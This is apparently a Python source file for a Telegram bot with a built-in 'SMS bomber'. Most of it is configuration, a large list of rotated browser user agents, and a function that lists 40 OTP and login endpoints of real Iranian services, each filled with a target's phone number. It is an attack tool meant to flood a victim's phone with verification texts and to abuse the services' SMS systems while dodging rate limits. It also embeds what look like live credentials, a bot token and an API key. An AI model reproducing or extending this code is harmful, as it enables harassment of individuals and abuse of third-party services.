#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# ============================================================
# Telegram Bot with SMS Bomber (All APIs Included) - Version 1.0
# ============================================================

import requests
import threading
import time
import random
import json
import sys
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
from collections import defaultdict

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ---------- Bot Settings ----------
BOT_TOKEN = '8789262166:AAFm0ODKOkjAaWBUBoVXAm0ALFAmfYG4-bw'
ADMIN_IDS = ['8003962079', '7265397078']
POLLING_INTERVAL = 1

# ---------- SMS Bomber Settings ----------
THREAD_COUNT = 35
BASE_DELAY = 0.15
MAX_RETRIES = 2
TIMEOUT = 8
REQUESTS_PER_API = 10
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:119.0) Gecko/20100101 Firefox/119.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:118.0) Gecko/20100101 Firefox/118.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:117.0) Gecko/20100101 Firefox/117.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:116.0) Gecko/20100101 Firefox/116.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:115.0) Gecko/20100101 Firefox/115.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:114.0) Gecko/20100101 Firefox/114.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:113.0) Gecko/20100101 Firefox/113.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.0.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.0.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 OPR/106.0.0.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 OPR/105.0.0.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:119.0) Gecko/20100101 Firefox/119.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 16_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 16_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPad; CPU OS 17_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPad; CPU OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPad; CPU OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 14; SM-S918U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; SM-A536E) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; SM-A336E) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 12; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 14; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; Pixel 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; 22101316G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; 2201117TG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 12; M2101K9G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 12; Redmi Note 10 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; OnePlus 11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; OnePlus 10 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 12; OnePlus 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; LIO-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 12; ELS-AN00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Linux; Android 13; SM-T970) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Linux; Android 12; SM-X800) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:119.0) Gecko/20100101 Firefox/119.0",
    "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; CrOS x86_64 14526.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
    "Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)",
    "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 (compatible; AdsBot-Google)",
]
class ErrorManager:
    def __init__(self):
        self.stats = defaultdict(int)
        self.error_details = defaultdict(list)
        self.success_count = 0
        self.fail_count = 0

    def add_error(self, api_name, error_code, message=""):
        self.stats[error_code] += 1
        self.error_details[error_code].append(f"{api_name}: {message[:50]}")

    def add_success(self):
        self.success_count += 1

    def add_fail(self):
        self.fail_count += 1

    def print_report(self):
        print("\n" + "=" * 70)
        print("log errors:")
        print(f"   Ok--s: {self.success_count}")
        print(f"   Ok by : {self.fail_count}")
        print("-" * 40)
        error_types = {
            200: "OK", 201: "Created", 202: "Accepted", 204: "No Content",
            301: "Moved Permanently", 302: "Found", 304: "Not Modified",
            400: "Bad Request", 401: "Unauthorized", 403: "Forbidden",
            404: "Not Found", 405: "Method Not Allowed", 406: "Not Acceptable",
            408: "Request Timeout", 409: "Conflict", 410: "Gone",
            411: "Length Required", 412: "Precondition Failed", 413: "Payload Too Large",
            414: "URI Too Long", 415: "Unsupported Media Type", 416: "Range Not Satisfiable",
            417: "Expectation Failed", 418: "I'm a teapot", 419: "Authentication Timeout",
            422: "Unprocessable Entity", 423: "Locked", 424: "Failed Dependency",
            425: "Too Early", 426: "Upgrade Required", 428: "Precondition Required",
            429: "Too Many Requests", 431: "Request Header Fields Too Large",
            451: "Unavailable For Legal Reasons", 500: "Internal Server Error",
            501: "Not Implemented", 502: "Bad Gateway", 503: "Service Unavailable",
            504: "Gateway Timeout", 505: "HTTP Version Not Supported",
            506: "Variant Also Negotiates", 507: "Insufficient Storage",
            508: "Loop Detected", 510: "Not Extended", 511: "Network Authentication Required",
            520: "Web Server Returned an Unknown Error", 521: "Web Server Is Down",
            522: "Connection Timed Out", 523: "Origin Is Unreachable",
            524: "A Timeout Occurred", 525: "SSL Handshake Failed",
            526: "Invalid SSL Certificate", 527: "Railgun Listener to Origin Error",
            530: "Site Is Frozen", 598: "Network Read Timeout Error",
            599: "Network Connect Timeout Error", 999: "Unknown Error"
        }
        for code, count in self.stats.items():
            if count > 0:
                error_name = error_types.get(code, f"Error {code}")
                print(f"   {error_name} ({code}): {count}")
        print("=" * 70)

error_manager = ErrorManager()
def get_all_apis(phone):
    phone_without_zero = phone[1:] if phone.startswith('0') else phone
    phone_with_code = f"+98{phone_without_zero}"

    apis = [
        # 1
        {
            'name': 'Parasteh',
            'url': 'https://parasteh.com/wp/wp-admin/admin-ajax.php',
            'method': 'POST',
            'data': f'action=rml_operation&nonce=7f3b31c07d&data%5B0%5D%5Bname%5D=rml-login-type&data%5B0%5D%5Bvalue%5D=mobile&data%5B1%5D%5Bname%5D=login-mobile&data%5B1%5D%5Bvalue%5D={phone}&data%5B2%5D%5Bname%5D=rml-mobile-dial-code&data%5B2%5D%5Bvalue%5D=98&data%5B3%5D%5Bname%5D=rml-mobile-country-code&data%5B3%5D%5Bvalue%5D=ir&data%5B4%5D%5Bname%5D=rml-operation&data%5B4%5D%5Bvalue%5D=login&data%5B5%5D%5Bname%5D=rml-redirect&data%5B5%5D%5Bvalue%5D=',
            'type': 'form',
            'headers': {'Origin': 'https://parasteh.com', 'Referer': 'https://parasteh.com/'}
        },
        # 2
        {
            'name': 'ZarShop',
            'url': 'https://zar-shop.com/api/v1/sessions/login_request',
            'method': 'POST',
            'data': json.dumps({"mobile_phone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://zar-shop.com', 'Referer': 'https://zar-shop.com/'}
        },
        # 3
        {
            'name': 'DioraGallery',
            'url': 'https://dioragallery.com/index.php',
            'method': 'POST',
            'data': f'username=&password=&username_c={phone}&code=&z24LoginMobileSubmit=OK&action=login-2&return=aHR0cHM6Ly9kaW9yYWdhbGxlcnkuY29tLw%3D%3D&urlreturn=https%3A%2F%2Fdioragallery.com%2F&8805c45799c7e0e03937c32d6ceb87c2=1',
            'type': 'form',
            'headers': {'Origin': 'https://dioragallery.com', 'Referer': 'https://dioragallery.com/'}
        },
        # 4
        {
            'name': 'Talapp',
            'url': 'https://market.talapp.ir/api/register',
            'method': 'POST',
            'data': json.dumps({"device_id": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36", "model": "web", "phone": phone, "password": "Soheil83"}),
            'type': 'json',
            'headers': {'Origin': 'https://market.talapp.ir', 'Referer': 'https://market.talapp.ir/'}
        },
        # 5
        {
            'name': 'Goldbaan',
            'url': 'https://api.goldbaan.ir/api/auth/check',
            'method': 'POST',
            'data': json.dumps({"phone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://goldbaan.ir', 'Referer': 'https://goldbaan.ir/'},
            'delay': 1.0
        },
        # 6
        {
            'name': 'MilliGold',
            'url': 'https://milli.gold/api/v1/public/otp',
            'method': 'POST',
            'data': json.dumps({"mobileNumber": phone_with_code, "operation": "REGISTER_USER"}),
            'type': 'json',
            'headers': {'Origin': 'https://milli.gold', 'Referer': 'https://milli.gold/'}
        },
        # 7
        {
            'name': 'MelliGold',
            'url': 'https://melligold.com/api/v1/authentication/login-register/',
            'method': 'POST',
            'data': json.dumps({"mobile": phone_with_code}),
            'type': 'json',
            'headers': {'Origin': 'https://melligold.com', 'Referer': 'https://melligold.com/'}
        },
        # 8
        {
            'name': 'Talasea',
            'url': 'https://api.talasea.ir/api/auth/sentOTP',
            'method': 'POST',
            'data': json.dumps({"phoneNumber": phone_with_code}),
            'type': 'json',
            'headers': {'Origin': 'https://talasea.ir', 'Referer': 'https://talasea.ir/'}
        },
        # 9
        {
            'name': 'Komodaa',
            'url': 'https://api.komodaa.com/api/v2.6/loginRC/request',
            'method': 'POST',
            'data': json.dumps({"phone_number": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://komodaa.com', 'Referer': 'https://komodaa.com/'},
            'delay': 1.0
        },
        # 10
        {
            'name': 'Padmira',
            'url': 'https://padmira.ir/ajax/send_sms_active',
            'method': 'POST',
            'data': f'mobile={phone}',
            'type': 'form',
            'headers': {'Origin': 'https://padmira.ir', 'Referer': 'https://padmira.ir/'}
        },
        # 11
        {
            'name': 'Parsimezon',
            'url': 'https://parsimezon.ir/wp-admin/admin-ajax.php',
            'method': 'POST',
            'data': f'action=digits_check_mob&countrycode=%2B98&mobileNo={phone}&csrf=93fe116779&login=2&username=&email=&captcha=&captcha_ses=&json=1&whatsapp=0',
            'type': 'form',
            'headers': {'Origin': 'https://parsimezon.ir', 'Referer': 'https://parsimezon.ir/'}
        },
        # 12
        {
            'name': 'Aysoo',
            'url': 'https://aysoocollection.com/sendcode',
            'method': 'POST',
            'data': json.dumps({"mobile": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://aysoocollection.com', 'Referer': 'https://aysoocollection.com/'}
        },
        # 13
        {
            'name': 'Newshin',
            'url': 'https://newshin.ir/wp-admin/admin-ajax.php',
            'method': 'POST',
            'data': f'action=digits_check_mob&countrycode=%2B98&mobileNo={phone_without_zero}&csrf=477bb8cc2e&login=1&username=&email=&captcha=&captcha_ses=&digits=1&json=1&whatsapp=0&mobmail=917+533+3546&dig_otp=&dig_nounce=477bb8cc2e&digits_redirect_page=-1',
            'type': 'form',
            'headers': {'Origin': 'https://newshin.ir', 'Referer': 'https://newshin.ir/'}
        },
        # 14
        {
            'name': 'SmartizGallery',
            'url': 'https://smartizgallery.ir/ajax/send_sms_active',
            'method': 'POST',
            'data': f'mobile={phone}',
            'type': 'form',
            'headers': {'Origin': 'https://smartizgallery.ir', 'Referer': 'https://smartizgallery.ir/'}
        },
        # 15
        {
            'name': 'Snapp V1',
            'url': 'https://api.snapp.ir/api/v1/sms/link',
            'method': 'POST',
            'data': json.dumps({"phone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://snapp.ir', 'Referer': 'https://snapp.ir/'}
        },
        # 16
        {
            'name': 'Snapp V2',
            'url': 'https://digitalsignup.snapp.ir/ds3/api/v3/otp',
            'method': 'POST',
            'data': json.dumps({"cellphone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://snapp.ir', 'Referer': 'https://snapp.ir/'}
        },
        # 17
        {
            'name': 'Achareh',
            'url': 'https://api.achareh.co/v2/accounts/login/',
            'method': 'POST',
            'data': json.dumps({"phone": f"98{phone_without_zero}"}),
            'type': 'json',
            'headers': {'Origin': 'https://achareh.ir', 'Referer': 'https://achareh.ir/'},
            'delay': 1.0
        },
        # 18
        {
            'name': 'Zigap',
            'url': 'https://zigap.smilinno-dev.com/api/v1.6/authenticate/sendotp',
            'method': 'POST',
            'data': json.dumps({"phoneNumber": phone_with_code}),
            'type': 'json',
            'headers': {'Origin': 'https://zigap.ir', 'Referer': 'https://zigap.ir/'}
        },
        # 19
        {
            'name': 'Jabama',
            'url': 'https://gw.jabama.com/api/v4/account/send-code',
            'method': 'POST',
            'data': json.dumps({"mobile": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://jabama.com', 'Referer': 'https://jabama.com/'}
        },
        # 20
        {
            'name': 'Banimode',
            'url': 'https://mobapi.banimode.com/api/v2/auth/request',
            'method': 'POST',
            'data': json.dumps({"phone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://www.banimode.com', 'Referer': 'https://www.banimode.com/', 'Platform': 'WEB'}
        },
        # 21
        {
            'name': 'Classino',
            'url': 'https://student.classino.com/otp/v1/api/login',
            'method': 'POST',
            'data': json.dumps({"mobile": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://classino.com', 'Referer': 'https://classino.com/'}
        },
        # 22
        {
            'name': 'Digikala',
            'url': 'https://api.digikala.com/v1/user/authenticate/',
            'method': 'POST',
            'data': json.dumps({"username": phone, "otp_call": False}),
            'type': 'json',
            'headers': {'Origin': 'https://www.digikala.com', 'Referer': 'https://www.digikala.com/'}
        },
        # 23
        {
            'name': 'Alibaba',
            'url': 'https://ws.alibaba.ir/api/v3/account/mobile/otp',
            'method': 'POST',
            'data': json.dumps({"phoneNumber": phone_without_zero}),
            'type': 'json',
            'headers': {'Origin': 'https://www.alibaba.ir', 'Referer': 'https://www.alibaba.ir/', 'ab-channel': 'WEB'}
        },
        # 24
        {
            'name': 'Divar',
            'url': 'https://api.divar.ir/v5/auth/authenticate',
            'method': 'POST',
            'data': json.dumps({"phone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://divar.ir', 'Referer': 'https://divar.ir/', 'x-api-key': '807a9c8e-5450-4cfa-9e77-ee5b1e8d053d'},
            'delay': 0.8
        },
        # 25
        {
            'name': 'Sheypoor',
            'url': 'https://www.sheypoor.com/api/v10.0.0/auth/send',
            'method': 'POST',
            'data': json.dumps({"username": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://www.sheypoor.com', 'Referer': 'https://www.sheypoor.com/'},
            'delay': 1.2
        },
        # 26
        {
            'name': 'Tapsi',
            'url': 'https://api.tapsi.ir/api/v2.2/user',
            'method': 'POST',
            'data': json.dumps({"credential": {"phoneNumber": phone, "role": "PASSENGER"}, "otpOption": "SMS"}),
            'type': 'json',
            'headers': {'Origin': 'https://app.tapsi.ir', 'Referer': 'https://app.tapsi.ir/'}
        },
        # 27
        {
            'name': 'GapFilm',
            'url': 'https://core.gapfilm.ir/api/v3.1/Account/Login',
            'method': 'POST',
            'data': json.dumps({"Type": "3", "Username": phone_without_zero}),
            'type': 'json',
            'headers': {'Origin': 'https://www.gapfilm.ir', 'Referer': 'https://www.gapfilm.ir/'}
        },
        # 28
        {
            'name': 'IToll',
            'url': 'https://app.itoll.com/api/v1/auth/login',
            'method': 'POST',
            'data': json.dumps({"mobile": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://itoll.ir', 'Referer': 'https://itoll.ir/'}
        },
        # 29
        {
            'name': 'Lendo',
            'url': 'https://api.lendo.ir/api/customer/auth/send-otp',
            'method': 'POST',
            'data': json.dumps({"mobile": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://lendo.ir', 'Referer': 'https://lendo.ir/'},
            'delay': 0.8
        },
        # 30
        {
            'name': 'Lendo Confirm',
            'url': 'https://lendo.ir/confirmCode',
            'method': 'GET',
            'data': {'mobile': phone, 'return': '/user', 'register': '1'},
            'type': 'form',
            'headers': {'Origin': 'https://lendo.ir', 'Referer': 'https://lendo.ir/'}
        },
        # 31
        {
            'name': 'Namava',
            'url': 'https://www.namava.ir/api/v1.0/accounts/registrations/by-phone/request',
            'method': 'POST',
            'data': json.dumps({"UserName": phone_with_code}),
            'type': 'json',
            'headers': {'Origin': 'https://www.namava.ir', 'Referer': 'https://www.namava.ir/'},
            'delay': 1.0
        },
        # 32
        {
            'name': 'Bitpin',
            'url': 'https://api.bitpin.ir/v1/usr/sub_phone/',
            'method': 'POST',
            'data': json.dumps({"phone": phone, "captcha_token": ""}),
            'type': 'json',
            'headers': {'Origin': 'https://bitpin.ir', 'Referer': 'https://bitpin.ir/'}
        },
        # 33
        {
            'name': 'Taaghche',
            'url': 'https://gw.taaghche.com/v4/site/auth/signup',
            'method': 'POST',
            'data': json.dumps({"contact": phone_with_code}),
            'type': 'json',
            'headers': {'Origin': 'https://taaghche.com', 'Referer': 'https://taaghche.com/'}
        },
        # 34
        {
            'name': 'Behtarino',
            'url': 'https://bck.behtarino.com/api/v1/users/phone_verification/',
            'method': 'POST',
            'data': json.dumps({"phone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://behtarino.com', 'Referer': 'https://behtarino.com/'}
        },
        # 35
        {
            'name': '3tex',
            'url': 'https://3tex.io/api/1/users/validation/mobile',
            'method': 'POST',
            'data': json.dumps({"receptorPhone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://3tex.io', 'Referer': 'https://3tex.io/register'}
        },
        # 36
        {
            'name': 'Deniizshop',
            'url': 'https://deniizshop.com/api/v1/sessions/login_request',
            'method': 'POST',
            'data': json.dumps({"mobile_phone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://deniizshop.com', 'Referer': 'https://deniizshop.com/'}
        },
        # 37
        {
            'name': 'Flightio',
            'url': 'https://flightio.com/bff/Authentication/CheckUserKey',
            'method': 'POST',
            'data': json.dumps({"userKey": f"98-{phone_without_zero}", "userKeyType": 1}),
            'type': 'json',
            'headers': {'Origin': 'https://flightio.com', 'Referer': 'https://flightio.com/', 'f-lang': 'fa'},
            'delay': 0.8
        },
        # 38
        {
            'name': 'Pooleno',
            'url': 'https://api.pooleno.ir/v1/auth/check-mobile',
            'method': 'POST',
            'data': json.dumps({"mobile": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://pooleno.ir', 'Referer': 'https://pooleno.ir/'}
        },
        # 39
        {
            'name': 'Shad',
            'url': 'https://shadmessenger12.iranlms.ir/',
            'method': 'POST',
            'data': json.dumps({"api_version": "3", "method": "sendCode", "data": {"phone_number": phone_without_zero, "send_type": "SMS"}}),
            'type': 'json',
            'headers': {'Origin': 'https://shadweb.iranlms.ir', 'Referer': 'https://shadweb.iranlms.ir/'}
        },
        # 40
        {
            'name': 'Rubika',
            'url': 'https://messengerg2c4.iranlms.ir/',
            'method': 'POST',
            'data': json.dumps({"api_version": "3", "method": "sendCode", "data": {"phone_number": phone_without_zero, "send_type": "SMS"}}),
            'type': 'json',
            'headers': {'Origin': 'https://web.rubika.ir', 'Referer': 'https://web.rubika.ir/'}
        },
    ]
    return apis
